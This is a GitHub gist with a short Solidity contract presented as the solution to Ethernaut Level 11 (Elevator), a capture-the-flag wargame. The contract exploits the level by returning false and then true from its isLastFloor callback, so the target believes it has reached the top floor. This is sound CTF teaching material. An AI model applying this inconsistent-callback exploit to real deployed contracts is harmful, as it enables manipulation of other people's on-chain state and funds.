Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active January 9, 2023 12:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/ec78ce978cc8e002a413ffedabb89b82 to your computer and use it in GitHub Desktop.
Save Chirag21/ec78ce978cc8e002a413ffedabb89b82 to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 11 - Elevator. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IElevator {
function goTo(uint) external;
function top() external view returns(bool);
}
contract ElevatorHack {
uint private count;
function hack(address _elevator) external {
IElevator elevator = IElevator(_elevator);
// Passing 0 will save you some gas
elevator.goTo(0);
require(elevator.top());
}
function isLastFloor(uint) external returns (bool) {
if (count > 0) return true;
else {
count++;
return false;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment